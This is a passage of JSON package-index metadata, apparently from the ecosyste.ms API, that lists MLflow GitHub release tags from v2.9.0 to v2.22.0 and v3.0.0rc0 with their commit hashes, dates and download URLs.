ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.22.0/manifests"},{"name":"v2.22.0rc0","sha":"c650f401c03627f79744a89c5a9e217b8560f977","kind":"commit","published_at":"2025-04-16T03:04:15.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.22.0rc0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.22.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.22.0rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.22.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.22.0rc0/manifests"},{"name":"v3.0.0rc0","sha":"65698f7b1b426e97b39f1fbd071a3bb2d0a50bf6","kind":"commit","published_at":"2025-04-04T13:52:14.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v3.0.0rc0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v3.0.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v3.0.0rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.0.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v3.0.0rc0/manifests"},{"name":"v2.21.3","sha":"0a541f7125f05a59772332c895dfdd19866342f3","kind":"commit","published_at":"2025-04-03T03:19:39.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.21.3","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.21.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.21.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.21.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.21.3/manifests"},{"name":"v2.21.2","sha":"872b6e91323772f76d1ac4e9e62d35e5df2b122e","kind":"commit","published_at":"2025-03-26T14:24:58.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.21.2","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.21.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.21.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.21.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.21.2/manifests"},{"name":"v2.21.1","sha":"32326ac96aad9528549b5c8367e709337986b302","kind":"commit","published_at":"2025-03-25T20:14:06.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.21.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.21.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.21.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.21.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.21.1/manifests"},{"name":"v2.21.0","sha":"48a261f8b1dc3a5757252ba0174883d074102215","kind":"commit","published_at":"2025-03-14T13:36:19.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.21.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.21.0/manifests"},{"name":"v2.20.4","sha":"80b2f7d7fa0fc6adb535d1f40383bb0408176520","kind":"commit","published_at":"2025-03-13T02:18:03.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.20.4","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.20.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.20.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.20.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.20.4/manifests"},{"name":"v2.21.0rc0","sha":"9b01e6464d219c7e6a846e5a978d51c2d21db747","kind":"commit","published_at":"2025-03-05T04:29:27.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.21.0rc0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.21.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.21.0rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.21.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.21.0rc0/manifests"},{"name":"v2.20.3","sha":"bf43fabe0eff9de73f27cc0afabf512551ff4814","kind":"commit","published_at":"2025-02-26T04:56:29.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.20.3","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.20.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.20.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.20.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.20.3/manifests"},{"name":"v2.20.2","sha":"6f4904a1dcc9988c890c5bee3952cc0452649e61","kind":"commit","published_at":"2025-02-13T09:02:34.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.20.2","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.20.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.20.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.20.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.20.2/manifests"},{"name":"v2.20.1","sha":"cb69262fe58a0689056f68f4368d1b7704296c5c","kind":"commit","published_at":"2025-01-30T11:36:49.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.20.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.20.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.20.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.20.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.20.1/manifests"},{"name":"v2.20.0","sha":"619d0c348de987e32ee2d61529a6bae77f16a397","kind":"commit","published_at":"2025-01-23T09:13:11.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.20.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.20.0/manifests"},{"name":"v2.20.0rc0","sha":"3a66a8208cb4e44bfbd32808f9a4b837347a6d81","kind":"commit","published_at":"2025-01-14T11:21:06.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.20.0rc0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.20.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.20.0rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.20.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.20.0rc0/manifests"},{"name":"v2.19.0","sha":"ad1710112c3ff0e05f12833ea3b477a933438940","kind":"commit","published_at":"2024-12-11T07:27:38.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.19.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.19.0/manifests"},{"name":"v2.19.0rc0","sha":"a049119b1c0630db4f036a2c558594b9eeb7564f","kind":"commit","published_at":"2024-12-04T08:39:33.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.19.0rc0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.19.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.19.0rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.19.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.19.0rc0/manifests"},{"name":"v2.18.0","sha":"65d4042cedaf26c992531a3c84326677b8ddce46","kind":"commit","published_at":"2024-11-18T10:51:48.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.18.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.18.0/manifests"},{"name":"v2.18.0rc0","sha":"01df21f373335ebb9749cba1cd48c8a347d0c0b8","kind":"commit","published_at":"2024-11-12T21:43:01.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.18.0rc0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.18.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.18.0rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.18.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.18.0rc0/manifests"},{"name":"v2.17.2","sha":"67b8870f5375e208e791e97d8ee6816d2618c4b4","kind":"commit","published_at":"2024-10-31T06:11:38.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.17.2","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.17.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.17.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.17.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.17.2/manifests"},{"name":"v2.17.1","sha":"4e711a93e8f2605710504ba40105acccc366f713","kind":"commit","published_at":"2024-10-25T09:09:30.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.17.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.17.1/manifests"},{"name":"v2.17.0","sha":"2cddebcf613a8f383ffdec721d4bcefc603bd556","kind":"commit","published_at":"2024-10-11T21:24:01.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.17.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.17.0/manifests"},{"name":"v2.17.0rc0","sha":"f9c8755f99c5c9110c2f2f0ef3687427ab2775a1","kind":"commit","published_at":"2024-09-26T21:12:12.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.17.0rc0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.17.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.17.0rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.17.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.17.0rc0/manifests"},{"name":"v2.16.2","sha":"d2ebcbd36e7bcaf9e6fc564f1219349d9796eb5e","kind":"commit","published_at":"2024-09-17T01:28:52.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.16.2","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.16.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.16.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.16.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.16.2/manifests"},{"name":"v2.16.1","sha":"13c35ce70fbfaa83d1ddd7380386897e6cb45388","kind":"commit","published_at":"2024-09-13T20:44:13.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.16.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.16.1/manifests"},{"name":"v2.16.0","sha":"07fdad09eabc63f39069de1ab4cf561da306159f","kind":"commit","published_at":"2024-08-30T05:31:19.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.16.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.16.0/manifests"},{"name":"v2.15.1","sha":"608f33443a010db711de43772f0f394a0f71bfc5","kind":"commit","published_at":"2024-08-06T05:55:25.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.15.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.15.1/manifests"},{"name":"v2.15.0","sha":"be354dd7b8efb78446d4db86db9837b78b541552","kind":"commit","published_at":"2024-07-29T09:22:39.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.15.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.15.0/manifests"},{"name":"v2.15.0rc0","sha":"55e3aa1925123007deaa4653fd8e878d8128c385","kind":"commit","published_at":"2024-07-22T10:26:50.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.15.0rc0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.15.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.15.0rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.15.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.15.0rc0/manifests"},{"name":"v2.14.3","sha":"84e6dedd2bd6c3499e1aa34a27fd1e36b3a58f94","kind":"commit","published_at":"2024-07-12T00:50:54.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.14.3","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.14.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.14.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.14.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.14.3/manifests"},{"name":"v2.14.2","sha":"20c31eb83d83ca1a3391d14f84591100163b8a8f","kind":"commit","published_at":"2024-07-03T20:46:52.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.14.2","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.14.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.14.2/manifests"},{"name":"v2.14.1","sha":"02ee083d0d96c67e1c3b704f4a617fc829231903","kind":"commit","published_at":"2024-06-20T04:46:54.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.14.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.14.1/manifests"},{"name":"v2.14.0","sha":"d784433c3929cdad05c2c190478f90d038ddf9f3","kind":"commit","published_at":"2024-06-17T07:35:06.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.14.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.14.0/manifests"},{"name":"v2.13.2","sha":"de95337bf4a625dd8ba240e00abbab35f490fab9","kind":"commit","published_at":"2024-06-06T10:34:34.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.13.2","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.13.2/manifests"},{"name":"v2.13.1","sha":"0c2975c89616b5b568f01b8a557379021dd05b5b","kind":"commit","published_at":"2024-05-30T11:11:12.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.13.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.13.1/manifests"},{"name":"v2.13.0","sha":"1b604e4bcb3a086b856c887ab316766c5e74efb8","kind":"commit","published_at":"2024-05-19T23:58:57.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.13.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.13.0/manifests"},{"name":"v2.12.2","sha":"144a592c9a0b125503b7f715680a421a7be862d1","kind":"commit","published_at":"2024-05-09T04:59:28.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.12.2","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.12.2/manifests"},{"name":"v2.12.1","sha":"328242e01b766129396415be219cb96127097501","kind":"commit","published_at":"2024-04-17T02:56:28.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.12.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.12.1/manifests"},{"name":"v2.11.3","sha":"d41c7751b71635815a95999acb5524f4dd7c9b09","kind":"commit","published_at":"2024-03-21T19:43:28.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.11.3","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.11.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.11.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.11.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.11.3/manifests"},{"name":"v2.11.2","sha":"c4bf4a99d13f04afdc4c1606d9b86c3e81582253","kind":"commit","published_at":"2024-03-19T17:50:02.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.11.2","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.11.2/manifests"},{"name":"v2.11.1","sha":"abad05e85024c8a42ed8275743496346dca09d68","kind":"commit","published_at":"2024-03-06T06:15:37.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.11.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.11.1/manifests"},{"name":"v2.11.0","sha":"830940a91065a982ff8e25343f70604dfcff4361","kind":"commit","published_at":"2024-03-01T15:46:17.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.11.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.11.0/manifests"},{"name":"v2.10.2","sha":"d77cc7adf64c77214c16a89263dbd6ee16d44ec5","kind":"commit","published_at":"2024-02-09T04:09:38.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.10.2","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.10.2/manifests"},{"name":"v2.10.1","sha":"e5b4c5019e74ab1c1fac2a9169245aaee1bdc813","kind":"commit","published_at":"2024-02-06T07:53:16.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.10.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.10.1/manifests"},{"name":"v2.10.0","sha":"628fba462ebd8385e0a31357e9137ab90e7b0daf","kind":"commit","published_at":"2024-01-26T01:40:07.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.10.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.10.0/manifests"},{"name":"v2.9.2","sha":"6ca72469b289e77acc2f1201ca39237fc025c090","kind":"commit","published_at":"2023-12-14T02:07:43.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.9.2","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.9.2/manifests"},{"name":"v2.9.1","sha":"511d7dbfd55816ecdb0ac46140c22d5e4c3242ef","kind":"commit","published_at":"2023-12-07T04:13:17.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.9.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v2.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v2.9.1/manifests"},{"name":"v2.9.0","sha":"7fbdfa5641b0f1a3f82bea72060fe0d8db432d0e","kind":"commit","published_at":"2023-12-06T03:55:04.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v2.9.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/m